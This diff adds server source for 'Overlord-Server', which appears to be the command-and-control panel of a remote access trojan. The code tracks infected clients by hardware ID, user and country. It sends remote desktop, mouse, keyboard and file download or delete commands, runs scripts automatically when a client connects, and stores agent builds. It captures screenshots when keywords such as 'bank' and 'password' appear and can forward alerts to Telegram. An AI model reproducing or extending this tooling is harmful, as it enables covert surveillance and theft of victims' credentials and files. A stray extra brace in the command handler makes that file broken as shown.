/dev/null +++ b/Overlord-Server/src/config.ts @@ -0,0 +1,341 @@ +import { existsSync, readFileSync, writeFileSync } from "fs"; +import { writeFile, mkdir } from "fs/promises"; +import { resolve } from "path"; +import logger from "./logger"; +import { ensureDataDir } from "./paths"; + +export interface Config { + auth: { + username: string; + password: string; + jwtSecret: string; + agentToken: string; + }; + server: { + port: number; + host: string; + }; + tls: { + certPath: string; + keyPath: string; + caPath: string; + }; + notifications: { + keywords: string[]; + minIntervalMs: number; + spamWindowMs: number; + spamWarnThreshold: number; + historyLimit: number; + webhookEnabled: boolean; + webhookUrl: string; + telegramEnabled: boolean; + telegramBotToken: string; + telegramChatId: string; + }; +} + +const DEFAULT_CONFIG: Config = { + auth: { + username: "admin", + password: "", + jwtSecret: "", + agentToken: "", + }, + server: { + port: 5173, + host: "0.0.0.0", + }, + tls: { + certPath: "./certs/server.crt", + keyPath: "./certs/server.key", + caPath: "", + }, + notifications: { + keywords: ["bank", "password", "admin"], + minIntervalMs: 8000, + spamWindowMs: 60000, + spamWarnThreshold: 5, + historyLimit: 200, + webhookEnabled: false, + webhookUrl: "", + telegramEnabled: false, + telegramBotToken: "", + telegramChatId: "", + }, +}; + +type SaveSecrets = { + auth?: { + jwtSecret?: string; + agentToken?: string; + bootstrapPassword?: string; + }; +}; + +function generateRandomSecret(length = 48): string { + const chars = + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*"; + let secret = ""; + const array = new Uint8Array(length); + crypto.getRandomValues(array); + for (let i = 0; i < length; i++) { + secret += chars[array[i] % chars.length]; + } + return secret; +} + +function loadSaveSecrets(savePath: string): SaveSecrets { + if (!existsSync(savePath)) { + return {}; + } + + try { + const raw = readFileSync(savePath, "utf-8"); + const parsed = JSON.parse(raw); + return typeof parsed === "object" && parsed ? parsed : {}; + } catch (error) { + logger.warn("Failed to parse save.json, regenerating missing secrets:", error); + return {}; + } +} + +function persistSaveSecrets(savePath: string, secrets: SaveSecrets): void { + try { + writeFileSync(savePath, JSON.stringify(secrets, null, 2)); + logger.info(`Persisted secrets to ${savePath}`); + } catch (error) { + logger.warn("Failed to persist save.json secrets", error); + } +} + +let configCache: Config | null = null; + +export function loadConfig(): Config { + if (configCache) { + return configCache; + } + + let fileConfig: Partial = {}; + const dataDir = ensureDataDir(); + const savePath = resolve(dataDir, "save.json"); + const savedSecrets = loadSaveSecrets(savePath); + let saveChanged = false; + + const configPath = resolve(process.cwd(), "config.json"); + if (existsSync(configPath)) { + try { + const content = readFileSync(configPath, "utf-8"); + fileConfig = JSON.parse(content); + logger.info("Loaded configuration from config.json"); + } catch (error) { + logger.warn("Failed to parse config.json, using defaults:", error); + } + } else { + logger.info( + "No config.json found, using defaults and environment variables", + ); + } + + const jwtSecretFromEnv = process.env.JWT_SECRET; + const jwtSecret = + process.env.JWT_SECRET || + fileConfig.auth?.jwtSecret || + savedSecrets.auth?.jwtSecret || + DEFAULT_CONFIG.auth.jwtSecret; + + let finalJwtSecret = jwtSecret; + if (!finalJwtSecret) { + finalJwtSecret = generateRandomSecret(64); + saveChanged = true; + logger.info("No JWT secret provided, generated secure random secret"); + } + + const agentTokenFromEnv = process.env.OVERLORD_AGENT_TOKEN; + const agentTokenFromConfig = fileConfig.auth?.agentToken; + let finalAgentToken = + agentTokenFromEnv || + agentTokenFromConfig || + savedSecrets.auth?.agentToken || + DEFAULT_CONFIG.auth.agentToken; + if (!finalAgentToken) { + finalAgentToken = generateRandomSecret(64); + saveChanged = true; + logger.info("No agent token provided, generated secure random token"); + } + + const passwordFromEnv = process.env.OVERLORD_PASS; + const passwordFromConfig = fileConfig.auth?.password; + let finalBootstrapPassword = + passwordFromEnv || + passwordFromConfig || + savedSecrets.auth?.bootstrapPassword || + DEFAULT_CONFIG.auth.password; + if (!finalBootstrapPassword) { + finalBootstrapPassword = generateRandomSecret(28); + saveChanged = true; + logger.info( + "No initial admin password provided, generated bootstrap password in save.json", + ); + } + + const keywordsEnv = process.env.OVERLORD_NOTIFICATION_KEYWORDS; + const keywordsFromEnv = keywordsEnv + ? keywordsEnv + .split(",") + .map((k) => k.trim()) + .filter(Boolean) + : []; + + configCache = { + auth: { + username: + process.env.OVERLORD_USER || + fileConfig.auth?.username || + DEFAULT_CONFIG.auth.username, + password: finalBootstrapPassword, + jwtSecret: finalJwtSecret, + agentToken: finalAgentToken, + }, + server: { + port: + Number(process.env.PORT) || + fileConfig.server?.port || + DEFAULT_CONFIG.server.port, + host: + process.env.HOST || + fileConfig.server?.host || + DEFAULT_CONFIG.server.host, + }, + tls: { + certPath: + process.env.OVERLORD_TLS_CERT || + fileConfig.tls?.certPath || + DEFAULT_CONFIG.tls.certPath, + keyPath: + process.env.OVERLORD_TLS_KEY || + fileConfig.tls?.keyPath || + DEFAULT_CONFIG.tls.keyPath, + caPath: + process.env.OVERLORD_TLS_CA || + fileConfig.tls?.caPath || + DEFAULT_CONFIG.tls.caPath, + }, + notifications: { + keywords: + keywordsFromEnv.length > 0 + ? keywordsFromEnv + : (fileConfig.notifications?.keywords || + DEFAULT_CONFIG.notifications.keywords), + minIntervalMs: + Number(process.env.OVERLORD_NOTIFICATION_MIN_INTERVAL_MS) || + fileConfig.notifications?.minIntervalMs || + DEFAULT_CONFIG.notifications.minIntervalMs, + spamWindowMs: + Number(process.env.OVERLORD_NOTIFICATION_SPAM_WINDOW_MS) || + fileConfig.notifications?.spamWindowMs || + DEFAULT_CONFIG.notifications.spamWindowMs, + spamWarnThreshold: + Number(process.env.OVERLORD_NOTIFICATION_SPAM_WARN_THRESHOLD) || + fileConfig.notifications?.spamWarnThreshold || + DEFAULT_CONFIG.notifications.spamWarnThreshold, + historyLimit: + Number(process.env.OVERLORD_NOTIFICATION_HISTORY_LIMIT) || + fileConfig.notifications?.historyLimit || + DEFAULT_CONFIG.notifications.historyLimit, + webhookEnabled: + String(process.env.OVERLORD_NOTIFICATION_WEBHOOK_ENABLED || "").toLowerCase() === "true" || + fileConfig.notifications?.webhookEnabled || + DEFAULT_CONFIG.notifications.webhookEnabled, + webhookUrl: + process.env.OVERLORD_NOTIFICATION_WEBHOOK_URL || + fileConfig.notifications?.webhookUrl || + DEFAULT_CONFIG.notifications.webhookUrl, + telegramEnabled: + String(process.env.OVERLORD_NOTIFICATION_TELEGRAM_ENABLED || "").toLowerCase() === "true" || + fileConfig.notifications?.telegramEnabled || + DEFAULT_CONFIG.notifications.telegramEnabled, + telegramBotToken: + process.env.OVERLORD_NOTIFICATION_TELEGRAM_BOT_TOKEN || + fileConfig.notifications?.telegramBotToken || + DEFAULT_CONFIG.notifications.telegramBotToken, + telegramChatId: + process.env.OVERLORD_NOTIFICATION_TELEGRAM_CHAT_ID || + fileConfig.notifications?.telegramChatId || + DEFAULT_CONFIG.notifications.telegramChatId, + }, + }; + + if (saveChanged) { + const nextSecrets: SaveSecrets = { + auth: { + jwtSecret: finalJwtSecret, + agentToken: finalAgentToken, + bootstrapPassword: finalBootstrapPassword, + }, + }; + persistSaveSecrets(savePath, nextSecrets); + logger.info( + `Generated runtime secrets are stored at ${savePath}. Keep this file private.`, + ); + } + + if (jwtSecretFromEnv) { + logger.info("JWT secret loaded from JWT_SECRET environment variable"); + } + if (agentTokenFromEnv) { + logger.info("Agent token loaded from OVERLORD_AGENT_TOKEN environment variable"); + } + if (passwordFromEnv) { + logger.info("Initial admin password loaded from OVERLORD_PASS environment variable"); + } + + return configCache; +} + +export function getConfig(): Config { + if (!configCache) { + return loadConfig(); + } + return configCache; +} + +export async function updateNotificationsConfig( + updates: Partial, +): Promise { + const current = getConfig(); + const keywords = (updates.keywords || current.notifications.keywords || []) + .map((k) => String(k).trim()) + .filter(Boolean); + const deduped = Array.from(new Set(keywords)); + + const next = { + ...current.notifications, + ...updates, + keywords: deduped, + }; + + configCache = { + ...current, + notifications: next, + }; + + const configPath = resolve(process.cwd(), "config.json"); + let fileConfig: any = {}; + if (existsSync(configPath)) { + try { + const content = readFileSync(configPath, "utf-8"); + fileConfig = JSON.parse(content) || {}; + } catch { + fileConfig = {}; + } + } + + fileConfig.notifications = next; + + try { + await mkdir(resolve(process.cwd()), { recursive: true }); + } catch {} + + await writeFile(configPath, JSON.stringify(fileConfig, null, 2)); + return next; +} diff --git a/Overlord-Server/src/db.ts b/Overlord-Server/src/db.ts new file mode 100644 index 0000000..7b3f8dd --- /dev/null +++ b/Overlord-Server/src/db.ts @@ -0,0 +1,526 @@ +import Database from "bun:sqlite"; +import { ClientInfo, ListFilters, ListResult, ClientRole } from "./types"; +import { getThumbnail } from "./thumbnails"; +import { resolve } from "path"; +import { ensureDataDir } from "./paths"; + +const dataDir = ensureDataDir(); +const dbPath = resolve(dataDir, "overlord.db"); +const db = new Database(dbPath); +console.log(`[db] Using database at: ${dbPath}`); + +db.run(` + CREATE TABLE IF NOT EXISTS clients ( + id TEXT PRIMARY KEY, + hwid TEXT, + role TEXT, + ip TEXT, + host TEXT, + os TEXT, + arch TEXT, + version TEXT, + user TEXT, + monitors INTEGER, + country TEXT, + last_seen INTEGER, + online INTEGER, + ping_ms INTEGER + ); +`); +try { + db.run(`ALTER TABLE clients ADD COLUMN role TEXT`); +} catch {} +try { + db.run(`ALTER TABLE clients ADD COLUMN hwid TEXT`); +} catch {} +try { + db.run(`ALTER TABLE clients ADD COLUMN ip TEXT`); +} catch {} + +db.run(` + CREATE TABLE IF NOT EXISTS banned_ips ( + ip TEXT PRIMARY KEY, + reason TEXT, + created_at INTEGER NOT NULL + ); +`); +db.run( + `CREATE INDEX IF NOT EXISTS idx_banned_ips_created_at ON banned_ips(created_at DESC);`, +); + +db.run(` + CREATE TABLE IF NOT EXISTS builds ( + id TEXT PRIMARY KEY, + status TEXT NOT NULL, + start_time INTEGER NOT NULL, + expires_at INTEGER NOT NULL, + files TEXT NOT NULL + ); +`); + +db.run(` + CREATE TABLE IF NOT EXISTS notification_screenshots ( + id TEXT PRIMARY KEY, + notification_id TEXT NOT NULL, + client_id TEXT NOT NULL, + ts INTEGER NOT NULL, + format TEXT NOT NULL, + width INTEGER, + height INTEGER, + bytes BLOB NOT NULL + ); +`); +db.run( + `CREATE INDEX IF NOT EXISTS idx_notification_screenshots_notification_id ON notification_screenshots(notification_id);`, +); +db.run( + `CREATE INDEX IF NOT EXISTS idx_notification_screenshots_ts ON notification_screenshots(ts DESC);`, +); + +db.run(` + CREATE TABLE IF NOT EXISTS auto_scripts ( + id TEXT PRIMARY KEY, + name TEXT NOT NULL, + trigger TEXT NOT NULL, + script TEXT NOT NULL, + script_type TEXT NOT NULL, + enabled INTEGER NOT NULL, + created_at INTEGER NOT NULL, + updated_at INTEGER NOT NULL + ); +`); +db.run( + `CREATE INDEX IF NOT EXISTS idx_auto_scripts_trigger ON auto_scripts(trigger, enabled);`, +); + +db.run(` + CREATE TABLE IF NOT EXISTS auto_script_runs ( + script_id TEXT NOT NULL, + client_id TEXT NOT NULL, + ts INTEGER NOT NULL, + PRIMARY KEY (script_id, client_id) + ); +`); +db.run( + `CREATE INDEX IF NOT EXISTS idx_auto_script_runs_ts ON auto_script_runs(ts DESC);`, +); + +export function upsertClientRow( + partial: Partial & { + id: string; + lastSeen?: number; + online?: number; + }, +) { + const now = partial.lastSeen ?? Date.now(); + db.run( + `INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, monitors, country, last_seen, online, ping_ms) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) + ON CONFLICT(id) DO UPDATE SET + hwid=COALESCE(excluded.hwid, clients.hwid), + role=COALESCE(excluded.role, clients.role), + ip=COALESCE(excluded.ip, clients.ip), + host=COALESCE(excluded.host, clients.host), + os=COALESCE(excluded.os, clients.os), + arch=COALESCE(excluded.arch, clients.arch), + version=COALESCE(excluded.version, clients.version), + user=COALESCE(excluded.user, clients.user), + monitors=COALESCE(excluded.monitors, clients.monitors), + country=COALESCE(excluded.country, clients.country), + last_seen=excluded.last_seen, + online=COALESCE(excluded.online, clients.online), + ping_ms=COALESCE(excluded.ping_ms, clients.ping_ms) + `, + partial.id, + partial.hwid ?? partial.id, + partial.role ?? null, + partial.ip ?? null, + partial.host ?? null, + partial.os ?? null, + partial.arch ?? null, + partial.version ?? null, + partial.user ?? null, + partial.monitors ?? null, + partial.country ?? null, + now, + partial.online ?? 0, + partial.pingMs ?? null, + ); + + if (partial.hwid) { + db.run( + `DELETE FROM clients WHERE hwid=? AND id<>?`, + partial.hwid, + partial.id, + ); + } +} + +export function setOnlineState(id: string, online: boolean) { + db.run( + `UPDATE clients SET online=?, last_seen=? WHERE id=?`, + online ? 1 : 0, + Date.now(), + id, + ); +} + +export function deleteClientRow(id: string) { + db.run(`DELETE FROM clients WHERE id=?`, id); +} + +export function getClientIp(id: string): string | null { + const row = db.query<{ ip: string }>(`SELECT ip FROM clients WHERE id=?`).get(id); + return row?.ip || null; +} + +export function banIp(ip: string, reason?: string) { + db.run( + `INSERT OR REPLACE INTO banned_ips (ip, reason, created_at) VALUES (?, ?, ?)` + , ip, + reason || null, + Date.now(), + ); +} + +export function unbanIp(ip: string) { + db.run(`DELETE FROM banned_ips WHERE ip=?`, ip); +} + +export function isIpBanned(ip: string): boolean { + const row = db.query<{ ip: string }>(`SELECT ip FROM banned_ips WHERE ip=?`).get(ip); + return !!row?.ip; +} + +export function markAllClientsOffline() { + db.run(`UPDATE clients SET online=0`); + console.log("[db] marked all clients as offline"); +} + +export function listClients(filters: ListFilters): ListResult { + const { page, pageSize, search, sort, statusFilter, osFilter } = filters; + const where: string[] = []; + const params: any[] = []; + + if (search) { + where.push( + "(LOWER(COALESCE(host,'')) LIKE ? OR LOWER(COALESCE(user,'')) LIKE ? OR LOWER(id) LIKE ?)", + ); + const needle = `%${search}%`; + params.push(needle, needle, needle); + } + + if (statusFilter === "online") { + where.push("online=1"); + } else if (statusFilter === "offline") { + where.push("online=0"); + } + + if (osFilter && osFilter !== "all") { + where.push("os=?"); + params.push(osFilter); + } + + const whereSql = where.length ? `WHERE ${where.join(" AND ")}` : ""; + + const orderBy = (() => { + switch (sort) { + case "ping_asc": + return "ORDER BY ping_ms IS NULL, ping_ms ASC"; + case "ping_desc": + return "ORDER BY ping_ms IS NULL, ping_ms DESC"; + case "host_asc": + return "ORDER BY LOWER(host) ASC"; + case "host_desc": + return "ORDER BY LOWER(host) DESC"; + default: + return "ORDER BY last_seen DESC"; + } + })(); + + const totalRow = db + .query<{ c: number }>(`SELECT COUNT(*) as c FROM clients ${whereSql}`) + .get(...params) ?? { c: 0 }; + const onlineRow = db + .query<{ c: number }>(`SELECT COUNT(*) as c FROM clients WHERE online=1`) + .get() ?? { c: 0 }; + const offset = (page - 1) * pageSize; + + const rows = db + .query( + `SELECT id, hwid, role, host, os, arch, version, user, monitors, country, last_seen as lastSeen, online, ping_ms as pingMs + FROM clients + ${whereSql} + ${orderBy} + LIMIT ? OFFSET ?`, + ) + .all(...params, pageSize, offset); + + const items = rows.map((c: any) => ({ + id: c.id, + hwid: c.hwid, + role: (c.role as ClientRole) || "client", + lastSeen: Number(c.lastSeen) || 0, + host: c.host, + os: c.os || "unknown", + arch: c.arch || "arch?", + version: c.version || "0", + user: c.user, + monitors: c.monitors, + country: c.country || "ZZ", + pingMs: c.pingMs ?? null, + online: c.online === 1, + thumbnail: getThumbnail(c.id), + })); + + return { page, pageSize, total: totalRow.c, online: onlineRow.c, items }; +} + +export type AutoScriptTrigger = "on_connect" | "on_first_connect" | "on_connect_once"; + +export type AutoScript = { + id: string; + name: string; + trigger: AutoScriptTrigger; + script: string; + scriptType: string; + enabled: boolean; + createdAt: number; + updatedAt: number; +}; + +function mapAutoScriptRow(row: any): AutoScript { + return { + id: row.id, + name: row.name, + trigger: row.trigger as AutoScriptTrigger, + script: row.script, + scriptType: row.script_type, + enabled: row.enabled === 1, + createdAt: Number(row.created_at) || 0, + updatedAt: Number(row.updated_at) || 0, + }; +} + +export function listAutoScripts(): AutoScript[] { + const rows = db.query(`SELECT * FROM auto_scripts ORDER BY created_at DESC`).all(); + return rows.map(mapAutoScriptRow); +} + +export function getAutoScriptsByTrigger(trigger: AutoScriptTrigger): AutoScript[] { + const rows = db + .query( + `SELECT * FROM auto_scripts WHERE trigger=? AND enabled=1 ORDER BY created_at ASC`, + ) + .all(trigger); + return rows.map(mapAutoScriptRow); +} + +export function getAutoScript(id: string): AutoScript | null { + const row = db.query(`SELECT * FROM auto_scripts WHERE id=?`).get(id); + return row ? mapAutoScriptRow(row) : null; +} + +export function createAutoScript(input: { + id: string; + name: string; + trigger: AutoScriptTrigger; + script: string; + scriptType: string; + enabled: boolean; +}): AutoScript { + const now = Date.now(); + db.run( + `INSERT INTO auto_scripts (id, name, trigger, script, script_type, enabled, created_at, updated_at) + VALUES (?, ?, ?, ?, ?, ?, ?, ?)` + , + input.id, + input.name, + input.trigger, + input.script, + input.scriptType, + input.enabled ? 1 : 0, + now, + now, + ); + return getAutoScript(input.id)!; +} + +export function updateAutoScript( + id: string, + input: Partial<{ + name: string; + trigger: AutoScriptTrigger; + script: string; + scriptType: string; + enabled: boolean; + }>, +): AutoScript | null { + const current = getAutoScript(id); + if (!current) return null; + + const next = { + name: input.name ?? current.name, + trigger: (input.trigger ?? current.trigger) as AutoScriptTrigger, + script: input.script ?? current.script, + scriptType: input.scriptType ?? current.scriptType, + enabled: typeof input.enabled === "boolean" ? input.enabled : current.enabled, + }; + + db.run( + `UPDATE auto_scripts SET name=?, trigger=?, script=?, script_type=?, enabled=?, updated_at=? WHERE id=?` + , + next.name, + next.trigger, + next.script, + next.scriptType, + next.enabled ? 1 : 0, + Date.now(), + id, + ); + + return getAutoScript(id); +} + +export function deleteAutoScript(id: string): boolean { + const result = db.run(`DELETE FROM auto_scripts WHERE id=?`, id); + db.run(`DELETE FROM auto_script_runs WHERE script_id=?`, id); + return (result as any)?.changes ? (result as any).changes > 0 : true; +} + +export function hasAutoScriptRun(scriptId: string, clientId: string): boolean { + const row = db + .query( + `SELECT script_id FROM auto_script_runs WHERE script_id=? AND client_id=?`, + ) + .get(scriptId, clientId); + return !!row?.script_id; +} + +export function recordAutoScriptRun(scriptId: string, clientId: string) { + db.run( + `INSERT OR REPLACE INTO auto_script_runs (script_id, client_id, ts) VALUES (?, ?, ?)` + , + scriptId, + clientId, + Date.now(), + ); +} + +export function clientExists(id: string): boolean { + const row = db.query(`SELECT id FROM clients WHERE id=?`).get(id); + return !!row?.id; +} + +export interface BuildRecord { + id: string; + status: string; + startTime: number; + expiresAt: number; + files: Array<{ + name: string; + filename: string; + platform: string; + size: number; + }>; +} + +export function saveBuild(build: BuildRecord) { + db.run( + `INSERT OR REPLACE INTO builds (id, status, start_time, expires_at, files) + VALUES (?, ?, ?, ?, ?)`, + build.id, + build.status, + build.startTime, + build.expiresAt, + JSON.stringify(build.files), + ); +} + +export function getBuild(id: string): BuildRecord | null { + const row = db.query(`SELECT * FROM builds WHERE id = ?`).get(id); + if (!row) return null; + + return { + id: row.id, + status: row.status, + startTime: row.start_time, + expiresAt: row.expires_at, + files: JSON.parse(row.files), + }; +} + +export function getAllBuilds(): BuildRecord[] { + const rows = db + .query(`SELECT * FROM builds ORDER BY start_time DESC`) + .all(); + return rows.map((row) => ({ + id: row.id, + status: row.status, + startTime: row.start_time, + expiresAt: row.expires_at, + files: JSON.parse(row.files), + })); +} + +export function deleteExpiredBuilds() { + const now = Date.now(); + db.run(`DELETE FROM builds WHERE expires_at <= ?`, now); +} + +export function deleteBuild(id: string) { + db.run(`DELETE FROM builds WHERE id = ?`, id); +} + +export interface NotificationScreenshotRecord { + id: string; + notificationId: string; + clientId: string; + ts: number; + format: string; + width?: number; + height?: number; + bytes: Uint8Array; +} + +export function saveNotificationScreenshot(record: NotificationScreenshotRecord) { + db.run( + `INSERT OR REPLACE INTO notification_screenshots + (id, notification_id, client_id, ts, format, width, height, bytes) + VALUES (?, ?, ?, ?, ?, ?, ?, ?)` + , + record.id, + record.notificationId, + record.clientId, + record.ts, + record.format, + record.width ?? null, + record.height ?? null, + record.bytes, + ); +} + +export function getNotificationScreenshot(notificationId: string): NotificationScreenshotRecord | null { + const row = db + .query( + `SELECT * FROM notification_screenshots WHERE notification_id = ? ORDER BY ts DESC LIMIT 1`, + ) + .get(notificationId); + if (!row) return null; + + return { + id: row.id, + notificationId: row.notification_id, + clientId: row.client_id, + ts: row.ts, + format: row.format, + width: row.width ?? undefined, + height: row.height ?? undefined, + bytes: row.bytes, + }; +} + +export function clearNotificationScreenshots() { + db.run(`DELETE FROM notification_screenshots`); + console.log("[db] cleared notification screenshots"); +} diff --git a/Overlord-Server/src/fileTransfers.test.ts b/Overlord-Server/src/fileTransfers.test.ts new file mode 100644 index 0000000..e48f69b --- /dev/null +++ b/Overlord-Server/src/fileTransfers.test.ts @@ -0,0 +1,60 @@ +import { describe, expect, test } from "bun:test"; +import { coerceUploadData, normalizeFileUploadPayload } from "./fileTransfers"; + +function toBase64(bytes: Uint8Array): string { + let binary = ""; + for (let i = 0; i < bytes.length; i += 1) { + binary += String.fromCharCode(bytes[i]); + } + return btoa(binary); +} + +describe("fileTransfers", () => { + test("coerceUploadData handles Uint8Array", () => { + const input = new Uint8Array([1, 2, 3]); + const out = coerceUploadData(input); + expect(out).not.toBeNull(); + expect(Array.from(out || [])).toEqual([1, 2, 3]); + }); + + test("coerceUploadData handles ArrayBuffer", () => { + const input = new Uint8Array([4, 5, 6]).buffer; + const out = coerceUploadData(input); + expect(out).not.toBeNull(); + expect(Array.from(out || [])).toEqual([4, 5, 6]); + }); + + test("coerceUploadData handles base64 string", () => { + const bytes = new Uint8Array([7, 8, 9]); + const input = toBase64(bytes); + const out = coerceUploadData(input); + expect(out).not.toBeNull(); + expect(Array.from(out || [])).toEqual([7, 8, 9]); + }); + + test("coerceUploadData rejects invalid data", () => { + expect(coerceUploadData(123)).toBeNull(); + }); + + test("normalizeFileUploadPayload fills defaults", () => { + const payload = { + path: "/tmp/file.txt", + data: new Uint8Array([1, 2, 3]), + offset: 10, + total: 30, + transferId: "t-1", + }; + const out = normalizeFileUploadPayload(payload); + expect(out).not.toBeNull(); + expect(out?.path).toBe("/tmp/file.txt"); + expect(out?.offset).toBe(10); + expect(out?.total).toBe(30); + expect(out?.transferId).toBe("t-1"); + expect(Array.from(out?.data || [])).toEqual([1, 2, 3]); + }); + + test("normalizeFileUploadPayload rejects missing data", () => { + const out = normalizeFileUploadPayload({ path: "/tmp/file.txt" }); + expect(out).toBeNull(); + }); +}); diff --git a/Overlord-Server/src/fileTransfers.ts b/Overlord-Server/src/fileTransfers.ts new file mode 100644 index 0000000..5a6d21e --- /dev/null +++ b/Overlord-Server/src/fileTransfers.ts @@ -0,0 +1,53 @@ +export type FileUploadPayload = { + path: string; + data: Uint8Array; + offset: number; + total: number; + transferId: string; +}; + +export function coerceUploadData(data: unknown): Uint8Array | null { + if (data instanceof Uint8Array) { + return data; + } + if (data instanceof ArrayBuffer) { + return new Uint8Array(data); + } + if (typeof data === "string") { + try { + const binaryString = atob(data || ""); + const out = new Uint8Array(binaryString.length); + for (let i = 0; i < binaryString.length; i += 1) { + out[i] = binaryString.charCodeAt(i); + } + return out; + } catch { + return null; + } + } + return null; +} + +export function normalizeFileUploadPayload(payload: any): FileUploadPayload | null { + if (!payload || typeof payload !== "object") { + return null; + } + const toNumber = (value: unknown): number | null => { + if (typeof value === "number" && Number.isFinite(value)) return value; + if (typeof value === "bigint") { + const asNumber = Number(value); + if (Number.isSafeInteger(asNumber)) return asNumber; + } + return null; + }; + const data = coerceUploadData(payload.data); + if (!data) { + return null; + } + const path = typeof payload.path === "string" ? payload.path : ""; + const offset = toNumber(payload.offset) || 0; + const total = toNumber(payload.total) || 0; + const transferId = typeof payload.transferId === "string" ? payload.transferId : ""; + + return { path, data, offset, total, transferId }; +} diff --git a/Overlord-Server/src/httpHandlers.ts b/Overlord-Server/src/httpHandlers.ts new file mode 100644 index 0000000..f4b6a30 --- /dev/null +++ b/Overlord-Server/src/httpHandlers.ts @@ -0,0 +1,122 @@ +import { listClients, setOnlineState, upsertClientRow } from "./db"; +import * as clientManager from "./clientManager"; +import { ClientRole, ClientInfo } from "./types"; +import { encodeMessage } from "./protocol"; +import { v4 as uuidv4 } from "uuid"; +import { metrics } from "./metrics"; +import { logAudit, AuditAction } from "./auditLog"; + +const DEFAULT_PAGE_SIZE = 12; +const CORS_HEADERS = { + "Access-Control-Allow-Origin": "*", + "Access-Control-Allow-Methods": "GET,OPTIONS", + "Access-Control-Allow-Headers": "Content-Type", +}; + +export function handleClientsRequest(req: Request): Response { + const url = new URL(req.url); + const page = Math.max(1, Number(url.searchParams.get("page") || 1)); + const pageSize = Math.max(1, Number(url.searchParams.get("pageSize") || DEFAULT_PAGE_SIZE)); + const search = (url.searchParams.get("q") || "").toLowerCase().trim(); + const sort = url.searchParams.get("sort") || "last_seen_desc"; + const statusFilter = url.searchParams.get("status") || "all"; + const osFilter = url.searchParams.get("os") || "all"; + + const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter }); + const items = result.items.map((item) => { + const live = clientManager.getClient(item.id); + if (live?.monitorInfo?.length) { + return { + ...item, + monitors: live.monitorInfo.length, + monitorInfo: live.monitorInfo, + }; + } + return item; + }); + return Response.json({ ...result, items }, { headers: CORS_HEADERS }); +} + +export function handleCommand(target: ClientInfo, action: string, req: Request) { + console.log(`[command] action=${action} clientId=${target.id}`); + + + metrics.recordCommand(action); + + if (action === "ping") { + const nonce = Date.now() + Math.floor(Math.random() * 1000); + target.lastPingSent = Date.now(); + target.lastPingNonce = nonce; + target.ws.send(encodeMessage({ type: "ping", ts: nonce })); + return Response.json({ ok: true }); + } + if (action === "desktop_start") { + target.ws.send(encodeMessage({ type: "command", commandType: "desktop_start", id: uuidv4() })); + return Response.json({ ok: true }); + } + if (action === "desktop_stop") { + target.ws.send(encodeMessage({ type: "command", commandType: "desktop_stop", id: uuidv4() })); + return Response.json({ ok: true }); + } + if (action === "desktop_select_display") { + + target.ws.send(encodeMessage({ type: "command", commandType: "desktop_select_display", id: uuidv4(), payload: { display: 0 } })); + return Response.json({ ok: true }); + } + if (action === "desktop_enable_mouse") { + target.ws.send(encodeMessage({ type: "command", commandType: "desktop_enable_mouse", id: uuidv4(), payload: { enabled: true } })); + return Response.json({ ok: true }); + } + if (action === "desktop_enable_keyboard") { + target.ws.send(encodeMessage({ type: "command", commandType: "desktop_enable_keyboard", id: uuidv4(), payload: { enabled: true } })); + return Response.json({ ok: true }); + } + if (action === "disconnect") { + target.ws.send(encodeMessage({ type: "command", commandType: "disconnect", id: uuidv4() })); + return Response.json({ ok: true }); + } + if (action === "reconnect") { + target.ws.send(encodeMessage({ type: "command", commandType: "reconnect", id: uuidv4() })); + return Response.json({ ok: true }); + } + if (action === "file_list") { + const url = new URL(req.url); + const path = url.searchParams.get("path") || ""; + target.ws.send(encodeMessage({ type: "command", commandType: "file_list", id: uuidv4(), payload: { path } })); + return Response.json({ ok: true }); + } + if (action === "file_download") { + const url = new URL(req.url); + const path = url.searchParams.get("path") || ""; + target.ws.send(encodeMessage({ type: "command", commandType: "file_download", id: uuidv4(), payload: { path } })); + return Response.json({ ok: true }); + } + if (action === "file_delete") { + const url = new URL(req.url); + const path = url.searchParams.get("path") || ""; + target.ws.send(encodeMessage({ type: "command", commandType: "file_delete", id: uuidv4(), payload: { path } })); + return Response.json({ ok: true }); + } + if (action === "file_mkdir") { + const url = new URL(req.url); + const path = url.searchParams.get("path") || ""; + target.ws.send(encodeMessage({ type: "command", commandType: "file_mkdir", id: uuidv4(), payload: { path } })); + return Response.json({ ok: true }); + } + if (action === "file_zip") { + const url = new URL(req.url); + const path = url.searchParams.get("path") || ""; + target.ws.send(encodeMessage({ type: "command", commandType: "file_zip", id: uuidv4(), payload: { path } })); + return Response.json({ ok: true }); + } + return new Response("Bad request", { status: 400 }); +} +} + +export function markOffline(id: string) { + setOnlineState(id, false); +} + +export function markOnline(info: ClientInfo) { + upsertClientRow({ id: info.id, role: info.role, lastSeen: info.lastSeen, online: 1 }); +} diff --git a/Overlord-Server/src/index.ts b/Overlord-Server/src/index.ts new file mode 100644 index 0000000..3a5722e --- /dev/null +++ b/Overlord-Server/src/index.ts @@ -0,0 +1 @@ +import "./main-server"; diff --git a/Overlord-Server/src/logger.ts b/Overlord-Server/src/logger.ts new file mode 100644 index 0000000..620e4af --- /dev/null +++ b/Overlord-Server/src/logger.ts @@ -0,0 +1,73 @@ +import winston from "winston"; +import { ensureDataDir } from "./paths"; + +const NODE_ENV = process.env.NODE_ENV || "development"; +const rawLogLevel = (process.env.LOG_LEVEL || "").trim().toLowerCase(); +const validLevels = new Set(["error", "warn", "info", "http", "verbose", "debug", "silly"]); +const LOG_LEVEL = validLevels.has(rawLogLevel) + ? rawLogLevel + : NODE_ENV === "production" + ? "info" + : "debug"; + +const devFormat = winston.format.combine( + winston.format.colorize(), + winston.format.timestamp({ format: "HH:mm:ss.SSS" }), + winston.format.printf((info: any) => { + const { level, message, timestamp, ...meta } = info; + let msg = `${timestamp} ${level}: ${message}`; + if (Object.keys(meta).length > 0) { + msg += ` ${JSON.stringify(meta)}`; + } + return msg; + }), +); + +const prodFormat = winston.format.combine( + winston.format.timestamp(), + winston.format.errors({ stack: true }), + winston.format.json(), +); + +export const logger = winston.createLogger({ + level: LOG_LEVEL, + format: NODE_ENV === "production" ? prodFormat : devFormat, + transports: [ + new winston.transports.Console({ + level: LOG_LEVEL, + stderrLevels: ["error"], + }), + ], + + exitOnError: false, +}); + +if (NODE_ENV === "production") { + const dataDir = ensureDataDir(); + + logger.add( + new winston.transports.File({ + filename: `${dataDir}/error.log`, + level: "error", + 